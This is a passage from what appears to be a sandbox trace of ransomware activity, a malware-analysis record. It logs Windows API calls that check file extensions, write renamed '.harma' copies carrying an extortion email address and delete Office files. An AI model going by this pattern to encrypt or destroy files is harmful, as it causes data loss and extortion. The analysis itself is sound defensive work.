Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.574] lstrlenW (lpString=".dbf") returned 4 [0169.574] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.574] lstrlenW (lpString=".1cd") returned 4 [0169.575] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.575] lstrlenW (lpString=".jpg") returned 4 [0169.575] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.575] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.575] lstrlenW (lpString="OLNOTER.FAE") returned 11 [0169.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.576] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=9648) returned 1 [0169.576] CloseHandle (hObject=0x330) returned 1 [0169.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20 [0169.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.577] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.577] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0169.578] GetLastError () returned 0x0 [0169.578] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x25b0, lpOverlapped=0x0) returned 1 [0169.601] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x25c0, lpOverlapped=0x0) returned 1 [0169.615] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.615] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.616] SetEndOfFile (hFile=0x38c) returned 1 [0169.616] CloseHandle (hObject=0x38c) returned 1 [0169.616] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.616] SetEndOfFile (hFile=0x330) returned 1 [0169.619] CloseHandle (hObject=0x330) returned 1 [0169.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 1 [0169.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.620] lstrlenW (lpString=".doc") returned 4 [0169.621] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.621] lstrlenW (lpString=".docx") returned 5 [0169.621] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.621] lstrlenW (lpString=".pdf") returned 4 [0169.621] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.621] lstrlenW (lpString=".xls") returned 4 [0169.621] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.621] lstrlenW (lpString=".xlsx") returned 5 [0169.621] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.621] lstrlenW (lpString=".ppt") returned 4 [0169.621] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.621] lstrlenW (lpString=".zip") returned 4 [0169.621] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.621] lstrlenW (lpString=".rar") returned 4 [0169.621] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.621] lstrlenW (lpString=".bz2") returned 4 [0169.621] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.621] lstrlenW (lpString=".7z") returned 3 [0169.621] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.621] lstrlenW (lpString=".dbf") returned 4 [0169.621] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.621] lstrlenW (lpString=".1cd") returned 4 [0169.621] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.932] lstrlenW (lpString=".jpg") returned 4 [0169.932] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.932] lstrlenW (lpString=".doc") returned 4 [0169.932] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.932] lstrlenW (lpString=".docx") returned 5 [0169.932] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.932] lstrlenW (lpString=".pdf") returned 4 [0169.933] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.933] lstrlenW (lpString=".xls") returned 4 [0169.933] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.933] lstrlenW (lpString=".xlsx") returned 5 [0169.933] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.933] lstrlenW (lpString=".ppt") returned 4 [0169.933] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.933] lstrlenW (lpString=".zip") returned 4 [0169.933] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.933] lstrlenW (lpString=".rar") returned 4 [0169.933] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.933] lstrlenW (lpString=".bz2") returned 4 [0169.933] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.933] lstrlenW (lpString=".7z") returned 3 [0169.933] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.933] lstrlenW (lpString=".dbf") returned 4 [0169.933] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.933] lstrlenW (lpString=".1cd") returned 4 [0169.933] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0169.933] lstrlenW (lpString=".jpg") returned 4 [0169.933] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.934] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.934] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0169.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.941] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=31120) returned 1 [0169.941] CloseHandle (hObject=0x3ac) returned 1 [0169.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20 [0169.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0169.961] GetLastError () returned 0x0 [0169.961] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x7990, lpOverlapped=0x0) returned 1 [0170.201] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0170.203] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.203] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.203] SetEndOfFile (hFile=0x374) returned 1 [0170.203] CloseHandle (hObject=0x374) returned 1 [0170.203] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.203] SetEndOfFile (hFile=0x3ac) returned 1 [0170.206] CloseHandle (hObject=0x3ac) returned 1 [0170.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 1 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.328] lstrlenW (lpString=".doc") returned 4 [0170.328] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.328] lstrlenW (lpString=".docx") returned 5 [0170.328] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0170.328] lstrlenW (lpString=".pdf") returned 4 [0170.328] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.328] lstrlenW (lpString=".xls") returned 4 [0170.328] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.328] lstrlenW (lpString=".xlsx") returned 5 [0170.328] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0170.328] lstrlenW (lpString=".ppt") returned 4 [0170.328] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.328] lstrlenW (lpString=".zip") returned 4 [0170.328] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.329] lstrlenW (lpString=".rar") returned 4 [0170.329] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.329] lstrlenW (lpString=".bz2") returned 4 [0170.329] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.329] lstrlenW (lpString=".7z") returned 3 [0170.329] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.329] lstrlenW (lpString=".dbf") returned 4 [0170.329] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.329] lstrlenW (lpString=".1cd") returned 4 [0170.329] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.329] lstrlenW (lpString=".jpg") returned 4 [0170.329] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.329] lstrlenW (lpString=".doc") returned 4 [0170.329] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.329] lstrlenW (lpString=".docx") returned 5 [0170.329] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0170.329] lstrlenW (lpString=".pdf") returned 4 [0170.329] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.329] lstrlenW (lpString=".xls") returned 4 [0170.329] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.329] lstrlenW (lpString=".xlsx") returned 5 [0170.329] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0170.330] lstrlenW (lpString=".ppt") returned 4 [0170.330] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.330] lstrlenW (lpString=".zip") returned 4 [0170.330] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.330] lstrlenW (lpString=".rar") returned 4 [0170.330] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.330] lstrlenW (lpString=".bz2") returned 4 [0170.330] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.330] lstrlenW (lpString=".7z") returned 3 [0170.330] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.330] lstrlenW (lpString=".dbf") returned 4 [0170.330] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.330] lstrlenW (lpString=".1cd") returned 4 [0170.330] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0170.330] lstrlenW (lpString=".jpg") returned 4 [0170.330] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.330] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.330] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0170.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.420] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=63384) returned 1 [0170.420] CloseHandle (hObject=0x384) returned 1 [0170.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20 [0170.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.421] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.421] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.422] GetLastError () returned 0x0 [0170.422] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xf798, lpOverlapped=0x0) returned 1 [0170.629] WriteFile (in: hFile=0x39c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf7a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf7a0, lpOverlapped=0x0) returned 1 [0170.631] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.631] WriteFile (in: hFile=0x39c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0170.632] SetEndOfFile (hFile=0x39c) returned 1 [0170.632] CloseHandle (hObject=0x39c) returned 1 [0170.632] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.632] SetEndOfFile (hFile=0x384) returned 1 [0170.715] CloseHandle (hObject=0x384) returned 1 [0170.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.716] lstrlenW (lpString=".doc") returned 4 [0170.716] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.716] lstrlenW (lpString=".docx") returned 5 [0170.716] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0170.716] lstrlenW (lpString=".pdf") returned 4 [0170.716] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.716] lstrlenW (lpString=".xls") returned 4 [0170.716] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.716] lstrlenW (lpString=".xlsx") returned 5 [0170.716] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0170.716] lstrlenW (lpString=".ppt") returned 4 [0170.717] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString=".zip") returned 4 [0170.717] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.717] lstrlenW (lpString=".rar") returned 4 [0170.717] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.717] lstrlenW (lpString=".bz2") returned 4 [0170.717] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.717] lstrlenW (lpString=".7z") returned 3 [0170.717] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString=".dbf") returned 4 [0170.717] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString=".1cd") returned 4 [0170.717] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString=".jpg") returned 4 [0170.717] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.717] lstrlenW (lpString=".doc") returned 4 [0170.717] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.717] lstrlenW (lpString=".docx") returned 5 [0170.717] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0170.717] lstrlenW (lpString=".pdf") returned 4 [0170.717] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.718] lstrlenW (lpString=".xls") returned 4 [0170.718] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.718] lstrlenW (lpString=".xlsx") returned 5 [0170.718] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0170.718] lstrlenW (lpString=".ppt") returned 4 [0170.718] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.718] lstrlenW (lpString=".zip") returned 4 [0170.718] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.718] lstrlenW (lpString=".rar") returned 4 [0170.718] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.718] lstrlenW (lpString=".bz2") returned 4 [0170.718] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.718] lstrlenW (lpString=".7z") returned 3 [0170.718] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.718] lstrlenW (lpString=".dbf") returned 4 [0170.718] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.718] lstrlenW (lpString=".1cd") returned 4 [0170.718] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0170.718] lstrlenW (lpString=".jpg") returned 4 [0170.718] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.718] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.718] lstrlenW (lpString="RM.DLL") returned 6 [0170.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), 